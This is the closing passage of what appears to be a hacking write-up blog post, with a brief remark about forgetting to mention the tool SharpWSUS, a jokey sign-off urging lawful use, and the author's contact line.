  3. Oh, for some reason I kept forgetting to add the title with SharpWSUS.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at proton dot me